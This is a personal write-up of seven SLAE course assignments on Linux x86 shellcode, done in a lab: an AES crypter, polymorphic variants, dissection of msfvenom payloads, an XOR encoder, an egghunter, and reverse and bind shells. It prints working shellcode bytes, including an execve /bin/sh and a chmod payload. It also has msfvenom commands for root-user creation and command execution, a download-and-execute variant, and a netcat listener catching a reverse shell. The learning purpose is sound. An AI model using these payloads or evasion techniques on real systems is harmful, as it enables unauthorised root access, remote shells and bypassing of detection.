SLAE - Assignment 7 - Custom crypter

• Create a custom crypter like the one shown in the "crypters" video.
• Free to use any existing encryption schema
• Can use any programming language

Searching for a starting point on this exercise I discovered the python pyaes library. (https://github.com/ricmoo/pyaes)
According to the git page this is a "Pure-Python implementation of AES block-cipher and common modes of operation."

Its README.md shows some common modes of operation and advises to use either Cipher Block Chaining (CBC) or the Counter (CTR) mode.

Since the implementation of this library also shows that for the CBC variant the plaintext needs to be 16byte we need to figure out how to solve this because changes are the shellcode size that is going to be provided is not equal to 16 bytes. Luckily for me in this exercise the CTR mode does not have this limitation::

plaintext = "Text may be any length you wish, no padding is required"

We start using the pyaes module that can be installed using - pip install pyaes-
We start writing the encrypter:
Note we have a hardcoded key and hardcoded shellcode. Should you want to change any of them, do it here.
The shellcode that is included is the shellcode created in assignment 6. The polymorphic code for ejecting the cdrom tray.
For further processing of the shellcode we need to add some additional quotes around the shellcode after which we end up by writing the encrypted shellcode in a file called body.

Creating the decrypter  should not be that hard now that we have the encrypter


Since AES is a symmetric encryption , the same key is used for encrypting as well as for decrypting. So we need to make sure the decrypter file has the same key.

Now that we have solved the encryption / decryption issue we want to automate things a bit further:
I had some serious issues in automating the import of the shellcode. Ultimately I ended op using the eval () which I should not be using with no controlled input. At the moment this should not be an issue as the initial shellcode is hardcoded, but actually I was thinking about including the shellcode als an user supplied variable. That's something I'm not going to do now.
But for now I don't have any clue as how to bypass the issue and I don't think it matters as the purpose of this training is understanding the basics of assembly and not python file I/O handling...

For now I'm getting the same results (in relation to hardcoding the decrypted shellcode -- see commented line in decrypter.py) by opening and saving it to a variables using eval:
with open("body") as file:
    shellcode = eval('str("' + file.read().strip() + '")')

We end the decrypting steps with writing the decrypted shellcode to a file (bodydec)

At this moment we have a working encrypting and decrypting proces. What remains is actual execution of the shellcode.
We are going to use a slightly modified version of the compile.sh script and rename it to compile7.sh. We skip the assembly and linking part and go straight into pasting the shellcode in the c file, after which it gets compiled
As input it will insert the shellcode from the created 'bodydec' file.

We run the shellcode file and verify that, again, magically our cdrom drive ejects. Mission accomplished!

SLAE - Assignment 6 - Polymorphism

• Take up 3 shellcodes from Shell-storm and create polymorphic versions of them to beat pattern matching

• The polymorphic versions cannot be larger than 150% of the existing shellcode

• Bonus points for making it shorter in length than original

Basic principles:

• Replace instructions with equivalent functionality ones (so that functionality is preserverd)

• Add garbage instructions that dont change the functionality in any way (NOP equivalents)

(A) displaying content of etc/passwd
Source:
http://shell-storm.org/shellcode/files/shellcode-571.php
(43 Bytes)

It needed some work to revert this to a nasm file as the comments are somewhat mixed up (AT&T vs intel syntax, extra space)
Some remodeling fixed it:
 
Just checking of my interpretation of this was right. Will do that by dumping the shellcode with the objdump command:
nelis@slae:~/SLAE/assignment6$ objdump -d ./shell571|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"

Quick scan reveals no differences in the shellcode I generated and the shellcode as mentioned in the original download.

Now we make some alterations to the original code to prevent pattern detection. Here you see the changes in relation to the original instructions: Ultimately this leads to a new file, which I'll call headpass.nasm:

Size of this shellcode is 61 bytes, Which just fits in the maximum allowed (43*150% = 64 bytes)

Since I  was confident this instruction set was different enough than its source I figured I was going to try and submit it to exploit-db. Those extra points could come in handly, right:

Tadaa! There it is. Published on exploit-db:

https://www.exploit-db.com/shellcodes/45940


(B) Download, chmod and execute:
http://shell-storm.org/shellcode/files/shellcode-862.php

Need to change ip address at least. Have setup server with IP adress 192.168.1.48 with HTTP server offering a file.

192.168.1.48/x

>>> "192.168.1.48///x"[::-1].encode('hex')
782f2f2f 38342e31 2e383631 2e323931

content of x:
#!/bin/bash
echo This is a test
Seems to be working just fine at the moment

nelis@slae:~/SLAE/assignment6$ ls -al x
-rwxrwxrwx 1 nelis nelis 36 Dec 1 19:44 x
There it is!! with the modified permissions

So we confirmed its working. Time for a breakdown of the assembly code:


The lines that have have changed instructions have been marked with ***

Note that this shellcode has a fork/child construction, in order to debug de child process with GDB, I had to discover how to setup GDB accordingly. Learned that by using the "set follow-fork-mode child" I was able to debug the newly created child process

This final polymorphic code is 101 bytes in size. Original version was 108 bytes, in addition to defeating pattern detection, the size has also decreased with 7 bytes.


(C) Eject CDROM drive

Shellcode for ejecting cdrom...(after confirming my PC still has a cd rom drive)

http://shell-storm.org/shellcode/files/shellcode-621.php

Original shellcode (46 bytes):

"\x6a\x0b\x58\x99\x52"
"\x6a\x6d\x68\x63\x64"
"\x72\x6f\x89\xe1\x52"
"\x66\x68\x63\x74\x68"
"\x2f\x65\x6a\x65\x68"
"\x2f\x62\x69\x6e\x68"
"\x2f\x75\x73\x72\x89"
"\xe3\x52\x51\x53\x89"
"\xe1\xcd\x80\x40\xcd"
"\x80"

Lets try and reverse this to assembly instructions:
So, before actually running this untrusted shellcode we first perform some debugging:
We include the shellcode in a C-file and debug that.
So we now have the assembly instructions ready for debugging and in the process validated that no harm will be done by executing this shellcode.  Now we make some modifications to the originating code and put it in our template file:  
The lines that have have changed instructions have been marked with *** and changes are commented.

Again we used python to do the hex encoding and reversing:

nelis@slae:~$ python
Python 2.7.3 (default, Feb 27 2014, 19:39:10)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "//usr/bin//eject"[::-1].encode('hex')
'7463656a652f2f6e69622f7273752f2f'
>>>
7463656a 652f2f6e 69622f72 73752f2f

push 0x7463656a ;tcej
push 0x652f2f6e ;e/ni
push 0x69622f72 ;b/re
push 0x73752f2f ;su//

We assemble, link, compile (compile.sh) and run and magically the cdrom drives opens using a shellcode that is completely different and decreased in size from 46 to 37 bytes!

SLAE - Assignment 5 - MSF Payloads

• Take up at least 3 shellcode samples created using msfpayload for linux/x86
• Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
• Present your analysis

Since msfpayload no longer exists, weĺl be using msfvenom for the payload extraction.

Create list of payloads that comply with the requirements:
msfvenom --list payloads | grep "linux/x86"

There are many payloads available. Lets just select the first three as an example:
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command


(A) linux/x86/adduser 
sudo msfvenom -p linux/x86/adduser --list-options
Next we want to extract the shellcode:
Actually, what we want to do is pipe this output to ndisasm, so we can see the assembly instructions:

root@slae:/home/nelis/libemu/libemu/tools/sctest# sudo msfvenom -p linux/x86/adduser R | ndisasm -u -

To analyze this output we chunk it into pieces per syscall.

 nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 70
#define __NR_setreuid 70

man setreuid:
int setreuid(uid_t ruid, uid_t euid);
eax = setreudid
ebx = 0x0
ecx = 0x0

This function sets the real and effective user id of the calling process (which is the payload) to zero, which is root

 nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 5
#define __NR_open 5

dword translation:
>>> code = "64777373"
>>> code2 = "61702f2f"
>>> code3 = "6374652f"
>>> code.decode("hex")
'dwss'
>>> code2.decode("hex")
'ap//'
>>> code3.decode("hex")
'cte/'

So, /etc//passwd0x0 in reverse order is pushed on the stack here. Note the additional (/) which is to cause data to be divided in chunks of 4 bytes. The extra (/) has no effect on the operation of the payload.

man 2 open:

int open(const char *pathname, int flags);

Then 0x4 is moved into ch, which will cause the ecx register to change to 0x401
figured that would be the O_WRONLY | O_APPEND. Lets check

It is good to note that this starts with the return code of the previous function that was entered into eax. It is now changed with ebx and thus saved fow now.

The assembly code here does not make sense at this time. For analyzing this function we open the program in GDB.
We put the shellcode in the c shellcode file:
compile it:
run in gdb:

We set a breakpoint just before making the 0x80 syscall on 0x0804a09a in code () and view the registers.
man 2 write:

ssize_t write(int fd, const void *buf, size_t count);
eax = 0x4 = sys_write
ebx = 0x7 = the file descriptor to /etc//passwd
ecx = the content to write "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X"

So, however the plain assembly code was not completely clear to me, some debugging with GDB revealed the purpose of this function

Leaving us with the last function, being the exit function.

Which in fact still is the file descriptor. Would have expected to end up with mov ebx, 0x0 to end up with exit code 0, but that's not the case (most likely to keep the payload as small as possible.

(B) linux/x86/chmod
sudo msfvenom -p linux/x86/chmod --list-options


Since i dont want to test with the default setting (and change mod of /etc/shadow to 666) i use a custom file (chmodtestfile) to test on

root@slae:/home/nelis/SLAE/assignment5# sudo msfvenom -p linux/x86/chmod -f c FILE=chmodtestfile -o chmodshellcode


root@slae:/home/nelis/SLAE/assignment5# cat chmodshellcode
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0e\x00\x00\x00\x63\x68\x6d\x6f\x64"
"\x74\x65\x73\x74\x66\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";

Not sure how this works. Discovered a lot of null bytes in here. Lets see what it does.

root@slae:/home/nelis/SLAE/assignment5# sudo gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae:/home/nelis/SLAE/assignment5# ls -al
total 36
drwxr-xr-x 2 nelis nelis 4096 Nov 23 14:46 .
drwxrwxr-x 18 nelis nelis 4096 Nov 22 21:52 ..
-rw-r--r-- 1 nelis nelis 410 Nov 22 21:53 adduser
-rw-r--r-- 1 root root 154 Nov 23 14:32 chmod
-rw-r--r-- 1 root root 185 Nov 23 14:43 chmodshellcode
---------- 1 root root 18 Nov 23 14:40 chmodtestfile
-rwxr-xr-x 1 root root 7498 Nov 23 14:46 shellcode
-rw-r--r-- 1 nelis nelis 338 Nov 23 14:45 shellcode.c
root@slae:/home/nelis/SLAE/assignment5# ./shellcode
Payload shellcode Lenght: 7
root@slae:/home/nelis/SLAE/assignment5# ls -al
total 36
drwxr-xr-x 2 nelis nelis 4096 Nov 23 14:46 .
drwxrwxr-x 18 nelis nelis 4096 Nov 22 21:52 ..
-rw-r--r-- 1 nelis nelis 410 Nov 22 21:53 adduser
-rw-r--r-- 1 root root 154 Nov 23 14:32 chmod
-rw-r--r-- 1 root root 185 Nov 23 14:43 chmodshellcode
-rw-rw-rw- 1 root root 18 Nov 23 14:40 chmodtestfile
-rwxr-xr-x 1 root root 7498 Nov 23 14:46 shellcode
-rw-r--r-- 1 nelis nelis 338 Nov 23 14:45 shellcode.c

Note that however the counting of the bytes stops when the first null byte was reached, execution of flow progressed and the actual chmod did happen.

Lets analyze this program using ndisasm and GDB:

root@slae:/home/nelis/SLAE/assignment5# sudo msfvenom -p linux/x86/chmod FILE=chmodtestfile R | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes

 Going through this using GDB

Since this is a chmod shellcode I have looked syscall en syntax of the chmod syscall:
nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep chmod
#define __NR_chmod 15
Great, that is nr 15, which equals to 0xf that is placed inside eax in the second instruction

man 2 chmod:

int chmod(const char *path, mode_t mode);

We would expect the function te be set up as follows:
eax = function nr = 0xf (=15)
ebx = path to the file: chmodtestfile
ecx = code = 0x1b6 (=666 octal)

Lets view the registers just before the syscall interrupt. In order to view those registers we insert breakpoint at 0x0804a05f <+31>: int 0x80

(gdb) break *0x0804a05f
Breakpoint 3 at 0x804a05f
(gdb) c
Continuing.

Note that 0xf = 15 decimal, which is the chmod syscall nr and that 0x1b6 = 0666 decimal that is the mode number we want to change to.
Its seems the registers are setup as expected

Lets stepi and see whats happening to the file:

What we see here is the change execution of the chmod 666 instruction on chmodtestfile. before the interrupt the mode bits are set to 000 (----------), after the stepi, we clearly see the 666 (-rw-rw-rw-)settings for the chmodtestfile.

All that remains is the exit function (1) that is being pushed to the stack and popped to eax before the syscall is being made.

 (C) linux/x86/exec
 
sudo msfvenom -p linux/x86/exec --list-options

Lets see if it works as expected: Based in the CMD I would expect that after running this a file /tmp/test with the content "nelis" would exist:

nelis@slae:~/SLAE/assignment5$ msfvenom -p linux/x86/exec -f c CMD="whoami > /tmp/test" -o execshellcode

Found a database at /home/nelis/.msf4/db, checking to see if it is started
Starting database at /home/nelis/.msf4/db...success
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 54 bytes
Final size of c file: 252 bytes
Saved as: execshellcode

nelis@slae:~/SLAE/assignment5$ cat execshellcode

unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x74\x65"
"\x73\x74\x00\x57\x53\x89\xe1\xcd\x80";
nelis@slae:~/SLAE/assignment5$

Put this shellcode in the shellcode running app:

compile using gcc:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

nelis@slae:~/SLAE/assignment5$ ./shellcode && cat /tmp/test
Payload shellcode Lenght: 15
nelis

Verify with sudo:

nelis@slae:~/SLAE/assignment5$ sudo ./shellcode && cat /tmp/test
Payload shellcode Lenght: 15
root

Seems to be working as expected. Note that the byte counter stops when reaching its first null byte, but that the execution continues as expected.

Lets analyze this with GDB

push 0xb
(=11) on the stack. This is the execve syscall:
nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 11

pushw 0x632d
>>> "632d".decode("hex")
'c-'

push 0x68732f
>>> "68732f".decode("hex")
'hs/'

push 0x6e69622f
>>> "6e69622f".decode("hex")
'nib/'

We set a break in the call function. Remember that a call function will push the address of the next instruction to the stack as a return address.

At the moment esp is empty, but after the stepi it should contain address of next function:

So lets see what is in that address:

We set a break point just before the syscall interrupt takes place and verify the registers:

eax = 11 which is the syscall execve
ebx = "/bin/sh"

(gdb) x/4w $ecx
0xbffff25e: 0xbffff26e 0xbffff276 0x0804a05d 0x00000000

(gdb) x/s 0xbffff26e
0xbffff26e: "/bin/sh"
(gdb) x/s 0xbffff276
0xbffff276: "-c"
(gdb) x/s 0x804a05d
0x804a05d <code+29>: "whoami > /tmp/test"

So with the final 0x80 the syscall is made and the output is written to /tmp/test

SLAE - Assignment 4 - Encoder

• Create a custom encoding scheme like the "insertion Encoder" we showed you

• PoC with using execve-stack as the shellcode to encode with your schema and execute.

We start with writing python encoder (included shellcode is execution of bin/sh
http://shell-storm.org/shellcode/files/shellcode-811.php

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80"

Content of encoder.py

Running this produces the encoded (XOR with ff and minus 1) shellcode:
nelis@slae:~/SLAE/assignment4$ ./encoder.py
\xcd\x3e\xae\x96\xcf\xcf\x8b\x96\x96\xcf\x9c\x95\x90\x75\x1b\x75\x3d\x75\x3c\x4e\xf3\x31\x7e\xcd\x3e\xbe\x31\x7e

0xcd,0x3e,0xae,0x96,0xcf,0xcf,0x8b,0x96,0x96,0xcf,0x9c,0x95,0x90,0x75,0x1b,0x75,0x3d,0x75,0x3c,0x4e,0xf3,0x31,0x7e,0xcd,0x3e,0xbe,0x31,0x7e,
Shellcode lenght: 28

We now have the encoded shellcode that we need in our assembly decoder:

Construction of decoder.nasm

Compile decoder using .compile.sh

nelis@slae:~/SLAE/assignment4$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcodenelis@slae:~/SLAE/assignment4$ ./shellcode
Payload shellcode Lenght: 51
$ id
uid=1000(nelis) gid=1000(nelis) groups=1000(nelis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

I know I should not have done that......But I was too curious ;-)

SLAE - Assignment 3 - Egghunter

• Study about the Egg Hunter shellcode 
• Create working demo of the Egghunter 
• Should be configurable for different payloads

First step is to actually understand what an Egg Hunter is. Just with a little googling I discovered a paper detailing this on: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

three essential requirements are defined for an egg hunter to be successful:
1. It must be robust
2. It must be small
3. It should be fast


In essence this technique solves a problem when there is some space available for a buffer overflow, but not enough to house the full payload you desire.
The problem is solved using a staged approach:
Stage 1: Contains the instruction to search the memory for the egg. When the egg has been found control of the execution will be passed to the that second stage
Stage 2: Starts with 2 times the egg following the shellcode that contains the (bigger in size) payload.


The Skape paper describes 3 methods for a linux machine. For this assignment we will be using the one first one that uses the access(2) system call. Usage of this call for the egg hunter is explained by Skape:

" The reason this system call was selected was for two reasons. First, the system call had to have a pointer for just one argument, as multiple pointer arguments would require more register initialization, and thus violate requirement #2 regarding size. Secondly, the system call had to not attempt to write to the pointer supplied, as it could lead to bad things happening if the memory were indeed writable, which in all likelihood would be the case for the buffer that would hold the egg being searched for"

Lets look up the system call "access"

nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33
(= 0x21 in hex)

man 2 access:

int access(const char *pathname, int mode);

Discover constants:
/usr/include/libr/sflib/common/sftypes.h

EFAULT = 14 (hex =F2 - no access to memory)


/usr/include/unistd.h:
F_OK = 0 

Using the template by Skape, the egg hunter is written:


Creating payload: I choose to use msfvenom for the creation of the payload. I could have used the created payload in assignment 2 as well, but for the of using a custom payload I left instructions on how to generate this shellcode in the shellcode.c file.


Which leads to the following C file:

Compile instruction: gcc -z execstack -fno-stack-protector shellcode.c -o shellcode

Run and capture reverse shell:

./shellcode


Other term:
nelis@slae:~/SLAE/assignment3$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 43353)
id
uid=1000(nelis) gid=1000(nelis) groups=1000(nelis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

SLAE - Assignment 2 - Reverse shell

• Create a Shell_Reverse_TCP shellcode
• Reverse connect to configured IP and Port
• Execs Shell on successful connection
• IP and port should be easily configurable

First step is to view existing bind shell payload that is delivered with metasploit.  With the use of msfvenom and sctest (as part of libemu) we can emulate the existing payload to analyze the steps taken

sudo msfvenom -p linux/x86/shell_reverse_tcp R | sudo ./sctest -vvv -Ss 10000 -G Shell_reverse.tcp.dot && dot Shell_reverse.tcp.dot -Tpng -o Shell_reverse.tcp.png

As we can see following syscalls are executed:
socket, dup2, connect and execve

/usr/include/i386-linux-gnu/asm/unistd_32.h for the syscalls

When searching for socket(), we discover the socketcall call , that has its own functions
#define __NR_socketcall 102

socket ; #define __NR_socketcall 102 int call 1
dub2 ; #define __NR_dup2 63
connect ; #define __NR_socketcall 102 int call 3
execve ; #define __NR_execve 11

Next step would be to translate this to assembly code.

For IA32, for a syscall to invoke the registeres need to be set the following way:
EAX = System call number
EBX = 1st argument
ECX = 2nd argument
EDX = 3rd argument
ESI = 4th argument
EDI = 5th argument

Note that we can borrow all but the connect() from our first assignment 

Put this shellcode in shellcode running app, compile and run: ./compile.sh bindshell (via)
Run and connect:

SLAE - Assignment 1 - Bind shell

• Create a Shell_Bind_TCP shellcode
• Binds to a port
• Execs Shell on incoming connection
• Port number should be easily configurable

First step is to view existing bind shell payload that is delivered with metasploit.
With the use of msfvenom and sctest (as part of libemu) we can emulate the existing payload to analyze the steps taken:

sudo msfvenom -p linux/x86/shell_bind_tcp R | sudo ./sctest -vvv -Ss 10000 -G Shell_bind.tcp.dot
dot Shell_bind.tcp.dot -Tpng -o Shell_bind.tcp.png

As we can see following syscalls are executed:

• socket
• bind
• listen
• accept
• dub2 ; #define __NR_dup2 63
• execve ; #define __NR_execve 11

When searching for socket(), we discover the socketcall , that has its own functions #define __NR_socketcall 102

http://man7.org/linux/man-pages/man2/socketcall.2.html

socketcall() is a common kernel entry point for the socket system
calls. call determines which socket function to invoke. args points
to a block containing the actual arguments, which are passed through
to the appropriate call.

User programs should call the appropriate functions by their usual
names. Only standard library implementors and kernel hackers need to
know about socketcall().

Next to the already discovered syscalls (dub2 and execve) we still need socket(), bind(), listen() and accept()
We find them in /usr/include/linux/net.h:

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */


That makes the syscalls complete for the bind shell:
socket ; #define __NR_socketcall 102 int call 1
bind ; #define __NR_socketcall 102 int call 2
listen ; #define __NR_socketcall 102 int call 4
accept ; #define __NR_socketcall 102 int call 5
dub2 ; #define __NR_dup2 63
execve ; #define __NR_execve 11


Next step would be to translate this to assembly code.

For IA32, for a syscall to invoke the registeres need to be set the following way:
EAX = System call number
EBX = 1st argument
ECX = 2nd argument
EDX = 3rd argument
ESI = 4th argument
EDI = 5th argument

For the hexing and reversing of the strings python helped me a lot:

For dumping the opcodes, following command was used from https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

Note that \x04\xd2 codes are the port numbers that can be configured here. That is the port number that can be changed to whatever port nr you want (https://hexed.it/). Mind the reverse byte order here.

Put this shellcode in shellcode running app, compile and run: (using script)
./compile.sh bindshell
./shellcode
 Setup listener and......success!